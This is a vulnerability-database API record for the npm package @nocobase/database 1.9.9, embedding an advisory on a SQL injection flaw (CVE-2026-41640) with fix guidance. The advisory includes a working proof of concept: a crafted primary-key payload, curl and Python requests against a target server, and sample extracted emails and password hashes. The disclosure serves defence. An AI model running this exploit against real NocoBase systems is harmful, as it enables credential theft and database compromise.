Lookup for vulnerable packages by Package URL.

GET /api/packages/1042430?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/1042430?format=api",
    "purl": "pkg:npm/%40nocobase/database@1.9.9",
    "type": "npm",
    "namespace": "@nocobase",
    "name": "database",
    "version": "1.9.9",
    "qualifiers": {},
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": "2.0.39",
    "latest_non_vulnerable_version": "2.0.39",
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/89659?format=api",
            "vulnerability_id": "VCID-8mre-af95-f7h3",
            "summary": "@nocobase/database has SQL Injection via String Concatenation through Recursive Eager Loading\n## Summary\n\nThe `queryParentSQL()` function in the core database package constructs a recursive CTE query by joining `nodeIds` with string concatenation instead of using parameterized queries. The `nodeIds` array contains primary key values read from database rows. An attacker who can create a record with a malicious string primary key can inject arbitrary SQL when any subsequent request triggers recursive eager loading on that collection.\n\n**Affected component:** `@nocobase/database` (core)\n**Affected versions:** <= 2.0.32 (confirmed)\n**Minimum privilege:** Any user with record-creation permission on a tree collection with string-type primary keys\n\n## Vulnerable Code\n\n`packages/core/database/src/eager-loading/eager-loading-tree.ts:59-84`\n\n```javascript\nconst queryParentSQL = (options: {\n  db: Database;\n  nodeIds: any[];\n  collection: Collection;\n  foreignKey: string;\n  targetKey: string;\n}) => {\n  const { collection, db, nodeIds } = options;\n  const tableName = collection.quotedTableName();\n  const { foreignKey, targetKey } = options;\n  const foreignKeyField = collection.model.rawAttributes[foreignKey].field;\n  const targetKeyField = collection.model.rawAttributes[targetKey].field;\n\n  const queryInterface = db.sequelize.getQueryInterface();\n  const q = queryInterface.quoteIdentifier.bind(queryInterface);\n  return `WITH RECURSIVE cte AS (\n      SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n      FROM ${tableName}\n      WHERE ${q(targetKeyField)} IN ('${nodeIds.join(\"','\")}')  // <-- INJECTION\n      UNION ALL\n      SELECT t.${q(targetKeyField)}, t.${q(foreignKeyField)}\n      FROM ${tableName} AS t\n      INNER JOIN cte ON t.${q(targetKeyField)} = cte.${q(foreignKeyField)}\n      )\n      SELECT ${q(targetKeyField)} AS ${q(targetKey)}, ${q(foreignKeyField)} AS ${q(foreignKey)} FROM cte`;\n};\n```\n\nThis function is called at line 384 when a `BelongsTo` association has `recursively: true` and instances exist:\n\n```javascript\n// eager-loading-tree.ts:382-395\nif (node.includeOption.recursively && instances.length > 0) {\n    const targetKey = association.targetKey;\n    const sql = queryParentSQL({\n        db: this.db, collection, foreignKey, targetKey,\n        nodeIds: instances.map((instance) => instance.get(targetKey)), // from DB rows\n    });\n    const results = await this.db.sequelize.query(sql, { type: 'SELECT', transaction });\n}\n```\n\n## PoC\n\nThe payload keeps the CTE syntactically valid by injecting a third `UNION ALL` branch. The closing `')` from the original template literal completes the injected `WHERE` clause, and the remaining `UNION ALL ... INNER JOIN ... SELECT ... FROM cte` lines stay intact.\n\n```\nInjection ID value:\n  root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\n\nGenerated SQL (3 valid UNION ALL branches):\n  WITH RECURSIVE cte AS (\n    SELECT \"id\", \"parentId\" FROM \"table\"\n    WHERE \"id\" IN ('root','root') UNION ALL SELECT CAST((...) AS integer)::text, NULL::text WHERE ('1'='1')\n    UNION ALL\n    SELECT t.\"id\", t.\"parentId\" FROM \"table\" AS t INNER JOIN cte ON t.\"id\" = cte.\"parentId\"\n  ) SELECT \"id\" AS \"id\", \"parentId\" AS \"parentId\" FROM cte\n\nThe CAST-to-integer triggers a runtime error whose message contains the subquery result.\n```\n\n```bash\nTOKEN=\"<jwt_token>\"\n\n# 1. Create tree collection with string PKs\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"name\":\"vuln_tree\",\"tree\":\"adjacencyList\",\"fields\":[\n    {\"name\":\"id\",\"type\":\"string\",\"primaryKey\":true,\"interface\":\"input\"},\n    {\"name\":\"title\",\"type\":\"string\",\"interface\":\"input\"},\n    {\"name\":\"parent\",\"type\":\"belongsTo\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"targetKey\":\"id\",\"treeParent\":true},\n    {\"name\":\"children\",\"type\":\"hasMany\",\"target\":\"vuln_tree\",\"foreignKey\":\"parentId\",\"sourceKey\":\"id\",\"treeChildren\":true}\n  ]}'\n\n# 2. Create safe root\ncurl -s http://TARGET:13000/api/vuln_tree:create \\\n  -H \"Authorization: Bearer $TOKEN\" -H \"Content-Type: application/json\" \\\n  -d '{\"id\":\"root\",\"title\":\"Root\"}'\n\n# 3. Create injection parent — error-based extraction of admin email\npython3 -c \"\nimport requests, json\nheaders = {'Authorization': 'Bearer $TOKEN', 'Content-Type': 'application/json'}\npayload_id = \\\"root') UNION ALL SELECT CAST((SELECT email FROM users LIMIT 1) AS integer)::text, NULL::text WHERE ('1'='1\\\"\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n    json={'id': payload_id, 'title': 'x'})\nrequests.post('http://TARGET:13000/api/vuln_tree:create', headers=headers,\n    json={'id': 'child', 'title': 'c', 'parentId': payload_id})\nr = requests.get('http://TARGET:13000/api/vuln_tree:list', headers=headers,\n    params={'appends[]': 'parent(recursively=true)', 'pageSize': '100'})\nprint(json.dumps(r.json(), indent=2))\n\"\n# Returns: 500 {\"errors\":[{\"message\":\"invalid input syntax for type integer: \\\"admin@nocobase.com\\\"\"}]}\n#                                                                          ^^^^^^^^^^^^^^^^^^^^^^^\n#                                                             Exfiltrated data in error message\n```\n\n**Confirmed extractions (tested against NocoBase v2.0.32 + PostgreSQL 16.13):**\n\n| Subquery | Extracted Value |\n|----------|----------------|\n| `SELECT version()` | `PostgreSQL 16.13 (Debian 16.13-1.pgdg13+1) on aarch64-unknown-linux-gnu...` |\n| `SELECT current_database()` | `nocobase` |\n| `SELECT email FROM users ORDER BY id LIMIT 1` | `admin@nocobase.com` |\n| `SELECT password FROM users ORDER BY id LIMIT 1` | `006af6756e9660888c44ab311fe992341af0ecab4aaf13e48c8d0001948acc38` |\n| `SELECT string_agg(email\\|\\|':'||substring(password,1,16), ' \\| ') FROM users` | `admin@nocobase.com:006af6756e96 \\| member@nocobase.com:4653e80e3cbf` |\n\n## Impact\n\n- **Confidentiality:** Error-based extraction of any database value. Full credential dump confirmed (emails + password hashes).\n- **Integrity:** Depending on database user privileges, INSERT/UPDATE/DELETE through stacked queries.\n- **Availability:** Resource-exhaustive queries or destructive DDL.\n- **Scope change:** On PostgreSQL with superuser, `COPY ... TO PROGRAM` achieves OS command execution.\n- **Blast radius:** Affects all collections using tree/adjacency-list structure with string-type primary keys. The same concatenation pattern also exists in `plugin-field-sort/src/server/sort-field.ts:124`.\n\n## Fix Suggestion\n\n1. **Use parameterized queries.** Replace the string concatenation with bind parameters:\n   ```javascript\n   const placeholders = nodeIds.map((_, i) => `$${i + 1}`).join(',');\n   const sql = `WITH RECURSIVE cte AS (\n       SELECT ${q(targetKeyField)}, ${q(foreignKeyField)}\n       FROM ${tableName}\n       WHERE ${q(targetKeyField)} IN (${placeholders})\n       UNION ALL\n       ...\n   ) SELECT ... FROM cte`;\n   return { sql, bind: nodeIds };\n   ```\n   Then call `db.sequelize.query(sql, { type: 'SELECT', bind: nodeIds, transaction })`.\n\n2. **Apply the same fix to `plugin-field-sort/src/server/sort-field.ts:124`**, which has an identical concatenation pattern with `filteredScopeValue`.\n\n3. **Validate primary key values** at record creation time. Reject or escape values containing SQL metacharacters (`'`, `\"`, `;`, `--`) in string-type primary key fields.",
            "references": [
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41640",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.04817",
                            "scoring_system": "epss",
                            "scoring_elements": "0.89705",
                            "published_at": "2026-06-06T12:55:00Z"
                        },
                        {
                            "value": "0.04817",
                            "scoring_system": "epss",
                            "scoring_elements": "0.89704",
                            "published_at": "2026-06-07T12:55:00Z"
                        },
                        {
                            "value": "0.04817",
                            "scoring_system": "epss",
                            "scoring_elements": "0.89703",
                            "published_at": "2026-06-05T12:55:00Z"
                        },
                        {
                            "value": "0.05498",
                            "scoring_system": "epss",
                            "scoring_elements": "0.90396",
                            "published_at": "2026-06-08T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-41640"
                },
                {
                    "reference_url": "https://github.com/nocobase/nocobase",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/nocobase/nocobase"
                },
                {
                    "reference_url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/"
                        }
                    ],
                    "url": "https://github.com/nocobase/nocobase/commit/202e2b8efe44ba90adbf1087f6f70881ff947604"
                },
                {
                    "reference_url": "https://github.com/nocobase/nocobase/pull/9133",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/"
                        }
                    ],
                    "url": "https://github.com/nocobase/nocobase/pull/9133"
                },
                {
                    "reference_url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/"
                        }
                    ],
                    "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
                },
                {
                    "reference_url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        },
                        {
                            "value": "Track*",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:P/A:N/T:T/P:M/B:A/M:M/D:R/2026-05-07T12:54:23Z/"
                        }
                    ],
                    "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-4948-f92q-f432"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "7.5",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "HIGH",
                            "scoring_system": "generic_textual",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41640"
                },
                {
                    "reference_url": "https://github.com/advisories/GHSA-4948-f92q-f432",
                    "reference_id": "GHSA-4948-f92q-f432",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "HIGH",
                            "scoring_system": "cvssv3.1_qr",
                            "scoring_elements": ""
                        }
                    ],
                    "url": "https://github.com/advisories/GHSA-4948-f92q-f432"
                }
            ],
            "fixed_packages": [
                {
                    "url": "http://public2.vulnerablecode.io/api/packages/110875?format=api",
                    "purl": "pkg:npm/%40nocobase/database@2.0.39",
                    "is_vulnerable": false,
                    "affected_by_vulnerabilities": [],
                    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/database@2.0.39"
                }
            ],
            "aliases": [
                "CVE-2026-41640",
                "GHSA-4948-f92q-f432"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-8mre-af95-f7h3"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "4.0",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:npm/%2540nocobase/database@1.9.9"
}